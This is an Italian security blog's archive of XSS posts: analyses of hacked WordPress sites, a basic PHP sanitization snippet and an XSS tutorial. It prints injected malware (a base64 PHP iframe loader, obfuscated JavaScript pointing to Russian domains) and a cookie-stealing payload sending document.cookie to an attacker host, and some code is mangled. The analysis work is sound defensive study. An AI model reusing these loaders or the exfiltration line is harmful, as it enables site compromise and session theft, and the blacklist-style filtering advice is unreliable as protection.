Archivi tag: xss

XSS su WordPress

Negli ultimi tempi si è verificato un aumento esponenziale degli attacchi verso la piattaforma WordPress. Ciò, secondo me, è dovuto essenzialmente a due fattori:

1) Diffusione su larga scala della suddetta piattaforma, che la rende più appetibile ai cracker;

2) Scarsa sensibilizzazione dei webmaster, i quali, troppo presi dalla grafica e dalla stesura del codice lato server, tendono a trascurare pensantemente le patch di sicurezza, solitamente incluse negli aggiornamenti dei plugin e del CMS.

malware.jpg

L’ultimo attacco XSS con cui ho avuto a che fare presentava il seguente codice PHP iniettato in tutte i file index.php:

<?php ob_start("security_update"); function security_update($buffer){return $buffer.base64_decode('PHNjcmlwdD5kb2N1bWVudC53cml0ZSgnPHN0eWxlPi52Yl9zdHlsZV9mb3J1bSB7ZmlsdGVyOiBhbHBoYShvcGFjaXR5PTApO29wYWNpdHk6IDAuMDt3aWR0aDogMjAwcHg7aGVpZ2h0OiAxNTBweDt9PC9zdHlsZT48ZGl2IGNsYXNzPSJ2Yl9zdHlsZV9mb3J1bSI+PGlmcmFtZSBoZWlnaHQ9IjE1MCIgd2lkdGg9IjIwMCIgc3JjPSJodHRwOi8vdmlkaW50ZXguY29tL2luY2x1ZGVzL2NsYXNzLnBvcC5waHAiPjwvaWZyYW1lPjwvZGl2PicpOzwvc2NyaXB0Pg==');} echo $_SERVER["HTTP_HOST"]; ?>

Inoltre, sullo spazio FTP, era presente il seguente file:

google_verify.php

utilizzato un po’ come firma, ovvero per fare in modo che il malware non infettasse il server più volte.

Mediante la decodifica della stringa in Base64 sono riuscito a ricavare questo codice javascrip:

<scrip>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div><iframe height="150" width="200" src="http://vidintex.com/includes/class.pop.php"></iframe></div>');</scrip>

In particolare, esso non fa altro che iniettare un iframe nella pagina vittima. La URL a cui punta l’iframe in questione è:

http://vidintex.com/includes/class.pop.php

la quale, contattata manualmente mediante browser, mi restituisce un bell’errore HTTP 404 (not found). Ciò mi lascia pensare che l’attacco descritto in questo post si sviluppa in due fasi:

1) durante la prima fase vengono compromessi N server (ad esempio attraverso un attacco RFI), che verranno utilizzati come target dell’iframe;

2) successivamente, nella seconda fase, verrà perpetrato l’attacco XSS vero e proprio.

Ergo, quel not found indica semplicemente che uno dei server coinvolti nella prima fase è stato ripulito e patchato. Incuriosito, sono andato a cercare il codice sorgente della pagina class.pop.php, che potete consultare qui. Essa non fa altro che gestire le varie fasi che riguardano la connessione ad un server POP3. Indovinate cosa mi ha restituito un nmap verso vidintex.com?

Starting Nmap 5.00 ( http://nmap.org ) at 2013-01-15 10:28 CET
 Interesting ports on silver.sakma.com (217.113.244.170):
 Not shown: 848 closed ports, 142 filtered ports
 PORT     STATE SERVICE
 21/tcp   open  ftp
 22/tcp   open  ssh
 53/tcp   open  domain
 80/tcp   open  http
 110/tcp  open  pop3
 443/tcp  open  https
 993/tcp  open  imaps
 995/tcp  open  pop3s
 3306/tcp open  mysql
 8443/tcp open  https-alt

ovvero la porta 110 (POP3) è in ascolto sul server. Quindi, mediante questo giochetto, i cracker possono tentare l’accesso al demone di posta ospitato sul server Web, in modo semi-automatizzato e nascondendo le proprie tracce (l’IP sorgente sarà sempre e comunque localhost). Intendo precisare che le mie sono solo congetture, per avere informazioni più dettagliate dovrei studiare ulteriori casi. A tal proposito, se ne avete, fornitemeli (solo se la URL punta a class.pop.php).

Alla prossima.

I soliti cracker russi…

E’ un lunedì sera. Sono a casa bello tranquillo quando ad un tratto mi arriva una telefonata inaspettata: il sito di un amico è stato defacciato. Ok, mi collego al sito e con mia enorme sorpresa mi accorgo della presenza del seguente codice PHP:

#c3284d# echo(gzinflate(base64_decode("JY5BjsIwEATvSPzBmgu7l1jaIxvnFXxgcIZ4VoltjRsCvydsbq2Wqqv7Fk0rHF5VAkGe8H/84L2l4XgYS7wvktGtpp CvU68340VcsxgoAfXsfTRh6EPUSmZDlwVeF56k+QZG62qq5PKGBbqsCoiR2xRlnjVPgfiOQu5/91psFAuUt4JnnXKguNk/QBKdEgL9kFt1RPqkoff7n+H0/X s89H4/PrwB"))); #/c3284d#

Si tratta molto banalmente di codice cifrato mediante due funzioni piuttosto blande, ovvero gzinflate e base64_decode.

Decifrandolo, ho ottenuto quanto segue:

<scrip type="text/javascrip"> try{1-prototype;}catch(bsdtwbd){q=412;} if(020==0x10){f=[94,108,100,91,107,95,103,101,22,94,105,99,57,91,90,32,32,22,115,4,0,110,88,104,24,96,92,106,100,22,53,23,90,103,90,107,101,92,100,108,37,89,106,92,87,108,92,59,100,92,99,93,101,106,32,30,95,94,105,87,101,92,29,33,50,3,2,96,92,106,100,36,107,107,111,100,92,36,104,102,105,97,107,95,103,101,51,31,88,88,107,102,98,109,107,91,31,50,3,2,96,92,106,100,36,107,107,111,100,92,36,108,102,102,53,30,35,49,48,47,93,100,29,51,4,0,97,93,104,101,37,105,108,112,98,93,37,98,93,93,106,53,30,35,49,48,47,93,100,29,51,4,0,97,93,104,101,37,105,106,90,22,24,52,22,26,95,106,108,103,48,39,38,98,89,107,101,99,102,112,38,105,107,39,90,101,109,101,106,42,37,102,96,103,24,51,4,0,97,93,104,101,37,95,92,23,51,24,30,92,106,100,63,92,30,49,5,1,90,103,90,107,101,92,100,108,37,88,103,91,111,38,88,102,104,92,100,92,58,94,97,99,90,32,96,92,106,100,31,51,4,0,117,50,3,2,110,95,102,91,101,111,37,101,102,99,101,89,91,22,53,23,92,106,100,55,92,91,49];}if(document)e=eval;w=f;s=[];r=String.fromCharCode;for(i=0;-i+279!=0;i+=1){j=i;if(e)s=s+r((w[j]*1+(8+e("j"+"%"+"3"))));} if(q&&f&&012===10)e(s); </scrip>

che, a primo acchito, può sembrare una rogna, ma effettuando la giusta formattazione del codice, inserendo un document.write(s) nel giusto punto del sorgente e creando una pagina HTML ad hoc:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">
 <head>
 <scrip type="text/javascrip">
 try{1-prototype;}
 catch(bsdtwbd)
 {q=412;}
 if(020==0x10)
 {
 f=[94,108,100,91,107,95,103,101,22,94,105,99,57,91,90,32,32,22,115,4,0,110,88,104,24,96,92,106,100,22,53,23,90,103,90,107,101,92,100,108,37,89,106,92,87,108,92,59,100,92,99,93,101,106,32,30,95,94,105,87,101,92,29,33,50,3,2,96,92,106,100,36,107,107,111,100,92,36,104,102,105,97,107,95,103,101,51,31,88,88,107,102,98,109,107,91,31,50,3,2,96,92,106,100,36,107,107,111,100,92,36,108,102,102,53,30,35,49,48,47,93,100,29,51,4,0,97,93,104,101,37,105,108,112,98,93,37,98,93,93,106,53,30,35,49,48,47,93,100,29,51,4,0,97,93,104,101,37,105,106,90,22,24,52,22,26,95,106,108,103,48,39,38,98,89,107,101,99,102,112,38,105,107,39,90,101,109,101,106,42,37,102,96,103,24,51,4,0,97,93,104,101,37,95,92,23,51,24,30,92,106,100,63,92,30,49,5,1,90,103,90,107,101,92,100,108,37,88,103,91,111,38,88,102,104,92,100,92,58,94,97,99,90,32,96,92,106,100,31,51,4,0,117,50,3,2,110,95,102,91,101,111,37,101,102,99,101,89,91,22,53,23,92,106,100,55,92,91,49];
 }
 if(document)
 e=eval;
 w=f;
 s=[];
 r=String.fromCharCode;
 for(i=0;-i+279!=0;i+=1)
 {
 j=i;
 if(e)
 {
 s=s+r((w[j]*1+(8+e("j"+"%"+"3"))));
 }
 }
 document.write(s);
 if(q&&f&&012===10)
 e(s);
 </scrip>
 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
 <title>Untitled Document</title>
 </head>
 <body>
 </body>
 </html>

si ottiene:

function frmAdd() {
 var ifrm = document.createElement('iframe');
 ifrm.style.position='absolute';
 ifrm.style.top='-999em';
 ifrm.style.left='-999em';
 ifrm.src = "http://latokoz.ru/count2.php";
 ifrm.id = 'frmId';
 document.body.appendChild(ifrm); };
 onload = frmAdd;

Ebbene si, trattasi di un attacco XSS che inietta sul sito vittima del codice javascrip (opportunamente offuscato), la cui funzione è quella di creare un iframe che punta alla URL http://latokoz.ru/count2.php

Ecco alcune info sul dominio latokoz.ru (con annesso reverse lookup):

nightfly@nightbox:~$ whois latokoz.ru
% By submitting a query to RIPN's Whois Service
% you agree to abide by the following terms of use:
% http://www.ripn.net/about/servpol.html#3.2 (in Russian)
% http://www.ripn.net/about/en/servpol.html#3.2 (in English).

domain:        LATOKOZ.RU
nserver:       ns1.newrect.com.
nserver:       ns2.newrect.com.
nserver:       ns3.newrect.com.
nserver:       ns4.newrect.com.
nserver:       ns5.newrect.com.
nserver:       ns6.newrect.com.
state:         REGISTERED, DELEGATED, UNVERIFIED
person:        Private Person
registrar:     REGGI-REG-RIPN
admin-contact: http://www.webdrive.ru/webmail/
created:       2012.08.01
paid-till:     2013.08.01
free-date:     2013.09.01
source:        TCI

Last updated on 2012.08.06 22:56:31 MSK
nightfly@nightbox:~$ host latokoz.ru
 latokoz.ru has address 78.8.44.226

Vado di wget e provo a scaricare la suddetta pagina:

nightfly@nightbox:~$ wget http://latokoz.ru/count2.php

Il cui contenuto è, molto banalmente:

<!DOCTYPE HTML>
 <html>
 <head>
 <scrip type="text/javascrip">
 parent. = "http://edrefak.ru/";
 </scrip>
 </head>
 <body>
 </body>
 </html>

Come sempre, whois e reverse lookup sul dominio in questione:

nightfly@nightbox:~$ host edrefak.ru
edrefak.ru has address 46.161.45.107
nightfly@nightbox:~$ whois edrefak.ru
% By submitting a query to RIPN's Whois Service
% you agree to abide by the following terms of use:
% http://www.ripn.net/about/servpol.html#3.2 (in Russian)
% http://www.ripn.net/about/en/servpol.html#3.2 (in English).

domain:        EDREFAK.RU
nserver:       ns1.izdomik.ru.
nserver:       ns2.izdomik.ru.
state:         REGISTERED, DELEGATED, UNVERIFIED
person:        Private Person
registrar:     NAUNET-REG-RIPN
admin-contact: https://client.naunet.ru/c/whoiscontact
created:       2012.07.29
paid-till:     2013.07.29
free-date:     2013.08.29
source:        TCI

Last updated on 2012.08.06 23:06:37 MSK

Trattasi di un sito che commercializza un prodotto simil-Viagra (si, avete capito bene), in cui è presente il seguente codice js (dopo il footer):

<!-- HotLog -->
 <scrip type="text/javascrip" language="javascrip">
 hotlog_js="1.0"; hotlog_r=""+Math.random()+"&amp;s=2241559&amp;im=35&amp;r="+
 escape(document.referrer)+"&amp;pg="+escape(.href);
 </scrip>
 <scrip type="text/javascrip" language="javascrip/1.1">
 hotlog_js="1.1"; hotlog_r+="&amp;j="+(navigator.javaEnabled()?"Y":"N");
 </scrip>
 <scrip type="text/javascrip" language="javascrip/1.2">
 hotlog_js="1.2"; hotlog_r+="&amp;wh="+screen.width+"x"+screen.height+"&amp;px="+
 (((navigator.appName.substring(0,3)=="Mic"))?screen.colorDepth:screen.pixelDepth);
 </scrip>
 <scrip type="text/javascrip" language="javascrip/1.3">
 hotlog_js="1.3";
 </scrip>
 <scrip type="tex/javascrip" language="javascrip">
 hotlog_r+="&amp;js="+hotlog_js;
 document.write('<a href="http://click.hotlog.ru/?2241559" target="_blank"><img '+
 'src="http://hit41.hotlog.ru/cgi-bin/hotlog/count?'+
 hotlog_r+'" border="0" width="88" height="31" alt="HotLog"></a>');
 </scrip>
 <noscrip>
 <a href="http://click.hotlog.ru/?2241559" target="_blank"><img
 src="http://hit41.hotlog.ru/cgi-bin/hotlog/count?s=2241559&amp;im=35" border="0"
 width="88" height="31" alt="HotLog"></a>
 </noscrip>
 <!-- /HotLog -->

Ma cos’è HotLog.ru? E’ semplicemente un sito che rilascia dei tracker cookies, in modo da poter “tracciare” le abitudini dei visitatori. In questo modo i cracker avranno una fonte di informazioni molto preziosa su cui modellare eventuali email di spamming o di phishing.

Se effettuate una ricerca su Google utilizzando la stringa:

try{1-prototype;}

vi accorgerete che di siti infetti ce n’è una marea.
Affinchè eventuali visitatori “vittima” di questo tipo di attacco possano dormire sonni tranquilli, consiglio loro di brasare i cookies e la cache del browser.

Per maggiori info sulla rimozione dei tracker cookies vi rimando a questo sito:

http://www.exterminate-it.com/malpedia/remove-hotlog-ru

Infine, tiriamo le somme:

1) non avendo accesso diretto ai log FTP ed HTTP del server di hosting, non posso individuare l’IP sorgente dell’attacco, anche se sono quasi certo che i cracker non si siano esposti direttamente, ma abbiano usato un altro sito infetto come testa di ponte;

2) data la legislazione russa (e dei Paesi dell’ex Unione Sovietica in genere), i proprietari dei domini su cui vengono effettuati i rimbalzi hanno le spalle coperte (non è un caso che i whois non mostrino alcuna informazione utile);

3) recentemente si sono moltiplicati gli attacchi diretti ai server Web/FTP mediante l’uso di credenziali di accesso lecite. Probabilmente anche l’attacco in questione è stato perpretrato utilizzando le suddette modalità. A tal proposito, vi consiglio di cambiare le credenziali FTP di tutti gli utenti, oltre a modificare username e password dei vostri account di posta (ho il vago spospetto che sia proprio questo il mezzo attraverso il quale i cracker ottengono le giuste credenziali).

4) per gli sviluppatori: ogni tanto date un’occhiata al codice sorgente del vostro sito, magari attraverso degli scrip bash (e simili), in modo da avere tempi di reazione ridotti e correre ai ripari il prima possibile in caso di attacco. Inoltre, se utilizzate CMS (Joomla, WordPress, Drupal, ecc.), assicuratevi di aver installato l’ultima versione (con annesse security patch) ed utilizzate degli add-on che possono aumentare il livello di sicurezza offerto.

Fine del post, alla prossima.

 

GoDaddy.com sotto attacco?

Uno degli hosting provider più grandi al mondo, ovvero GoDaddy.com, da qualche giorno sembra essere sotto attacco.

Nello specifico, su alcuni siti viene iniettato del codice javascrip simile al seguente:

<scrip type="text/javascrip" src="http://certodominio/wp-content/uploads/process.js"></scrip>

Il contenuto dello scrip process.js è questo:

document.write('<iframesrc="http://altrodominio/t/5ad53fb3b6d8b22e91e679e16d77d767" width="2" height="3" frameborder="0"></iframe> ')

Ovvero tale scrip non fa altro che visualizzare in un iframe il contenuto di http://altrodominio/t/5ad53fb3b6d8b22e91e679e16d77d767

La suddetta URL mi lascia pensare che si tratti di un dominio creato appositamente per piazzarci sopra del codice malevolo oppure per carpire indirizzi IP ed informazioni varie relative ai visitatori.

Ho inoltre effettuato un whois verso domini coinvolti ed il risultato è che tutti e tre sono hostati su GoDaddy.com.

Registered through: GoDaddy.com, LLC (http://www.godaddy.com)

Soprattutto l’ultimo dominio, pur variando di caso in caso, risulta appartenere ad una persona specifica (vittima, secondo me, di un furto di identità).

A questo punto il sospetto rischia di diventare certezza…

Vi terrò comunque aggiornati.

A presto.

PHP e mysql: input sanitization di base

Tutti gli addetti ai lavori sanno (o almeno dovrebbero sapere) che nell’ambito della sicurezza Web occorre prestare particolare attenzione ai dati trasmessi al server mediante gli appositi form HTML.

Tale operazione si rende indispensabile poichè un utente malevolo potrebbe “postare” delle stringhe “ad hoc” per “iniettare” del codice SQL arbitrario (SQL injection) oppure inserire all’interno della pagina del codice HTML (o javascrip) che provoca il reindirizzamento su un sito infetto (iframe, redirect et similia, ovvero tutto ciò che riguarda gli attacchi XSS).

background_xss.gif

Per questo motivo ho deciso di postare qualche riga di codice PHP che consente di filtrare in modo rapido ed efficace i dati immessi dagli utenti.

In particolare, vengono svolti due controlli: il primo si occupa dell’individuazione (e la successiva rimozione) dei caratteri speciali di MySQL (apice singolo, apice doppio, backslash, cancelletto, ecc.), mentre il secondo verifica che non vi siano dei tag HTML all’interno delle stringhe immesse nei campi di input.

Ecco il codice:

if(isset($_POST['username']) && $_POST['username'] != '')
{
$username = mysqli_real_escape_string($mysqli,strip_tags($_POST['username']));
}

else
{
        $errore = 'Devi inserire lo username';
}

Come potete notare, il campo su cui è stato implementato il filtro è quello relativo allo username. Per prima cosa viene verificato che la variabile $_POST[‘username’] sia settata e non sia vuota.

Se tale controllo va a buon fine, tramite la funzione strip_tags() viene rimosso l’eventuale codice HTML e successivamente, mediante mysqli_real_escape_string() vengono filtrati i caratteri speciali relativi a MySQL.

Ovviamente, attraverso tale meccanismo non darete agli utenti la possibilità di scegliere username del tipo:

<username>

o ancora:

username#

ma si sa, in questi casi bisogna certamente scendere a compromessi e capire dove sta il male minore.

A presto.

Attacco Cross Site Scripting (XSS)

Abbiamo già parlato di alcuni attacchi relativi alle piattaforme Web, quale SQL Injection e Directory Traversal. In questo post mi soffermerò invece su un altro tipo di attacco, ovvero il Cross Site Scripting (detto anche XSS o CSS).

Affinchè tale attacco abbia esito positivo è necessario che in fase di realizzazione del portale vittima non vengano previsti meccanismi di controllo dell’input, permettendo quindi ad un eventuale attaccante di inserire codice client-side (come Javascrip) arbitrario. Facciamo un esemio pratico: supponiamo che sia presente all’interno di una pagina Web un apposito form per l’inserimento di alcuni dati, quali nome, cognome, ecc. Invece dei dati leggittimi, l’utente malevolo procederà con l’inserimento del seguente codice:

<scrip type="text/javascrip">alert('XSS')</scrip>

Se, dopo aver eseguito il submit della stringa appena inserita, l’utente riceverà un alert contenente la scritta XSS, sarà certo che il sito è vulnerabile al tipo di attacco in questione.

Ora, appurato ciò, si potrebbe utilizzare il seguente codice per carpire le informazioni contenute nei cookie appartenenti ai visitatori del sito vittima:

<scrip>='http://www.sitohacker.com/cgi-bin/cookie.cgi? '%20+document.cookie</scrip>

In questo modo i cookie verranno inviati tramite una semplice querystring (metodo GET) al sito dell’attaccante che provvederà, con del codice server-side, a salvarne il contenuto all’interno di un file testuale per poi riesaminarlo con calma.

Le informazioni contenute in un cookie possono essere, a seconda dei casi, del tutto banali oppure di estrema importanza, ragion per cui un attacco di questo tipo può avere effetti certamente imprevedibili.

Inutile dire che gli attacchi XSS non sono tutti dello stesso tipo; solitamente vengono classificati in due macro categorie, ovvero gli attacchi stored (permanenti) e gli attacchi reflected (temporanei). Nel primo caso, il codice HTML della pagina subisce modifiche permanenti (utilizzando, ad esempio, DOM Javascrip oppure inserendo il codice all’interno di un post su un forum). Nel secondo caso, invece, la vittima viene indotta a cliccare su un link (presente in genere in una email appositamente creata), in modo da inviare automaticamente il cookie alla pagina Web dell’attaccante (come visto nell’esempio precedente).

Ma come difendersi da questo tipo di attacco? La via migliore sarebbe quella di interdire l’uso di caratteri “non convenzionali” all’interno dei campi di input, quali <, >, la stringa scrip, ecc. Ciò può essere banalmente realizzato utilizzando le potentissime espressioni regolari. Inoltre, poichè gli URL possono essere codificati (URI encoded), spesso il codice maligno può passare inosservato, ragion per cui il processo di validazione dell’input deve essere valutato molto attentamente (filtrando anche il carattere % tipico della codifica in questione).

In conclusione, ecco un video che mostra la realizzazione dell’attacco trattato in questo post:

 https://www.youtube.com/watch?v=r79ozjCL7DA